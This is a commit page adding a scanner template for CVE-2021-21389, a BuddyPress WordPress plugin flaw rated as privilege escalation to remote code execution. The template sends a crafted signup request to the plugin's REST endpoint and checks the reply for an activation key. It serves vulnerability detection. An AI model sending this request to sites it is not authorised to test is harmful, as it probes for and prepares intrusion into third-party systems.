Merge pull request #1747 from Udyz/patch-3

Create CVE-2021-21389
patch-1
Sandeep Singh 2021-06-24 02:26:23 +05:30 committed by GitHub
commit 9479826132
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 47 additions and 0 deletions

View File

@ -0,0 +1,47 @@
id: CVE-2021-21389
info:
name: BuddyPress REST API Privilege Escalation to RCE
author: lotusdll
severity: critical
description: The BuddyPress WordPress plugin was affected by an REST API Privilege Escalation to RCE
reference: |
- https://github.com/HoangKien1020/CVE-2021-21389
- https://nvd.nist.gov/vuln/detail/CVE-2021-21389
tags: cve,cve2021,wordpress,wp-plugin,rce
requests:
- raw:
- |
POST /wp-json/buddypress/v1/signup HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Type: application/json; charset=UTF-8
{
"user_login":"{{randstr}}",
"password":"{{randstr}}",
"user_name":"{{randstr}}",
"user_email":"{{randstr}}@example.com"
}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "application/json"
part: header
- type: word
words:
- "user_login"
- "registered"
- "activation_key"
- "user_email"
part: body
condition: and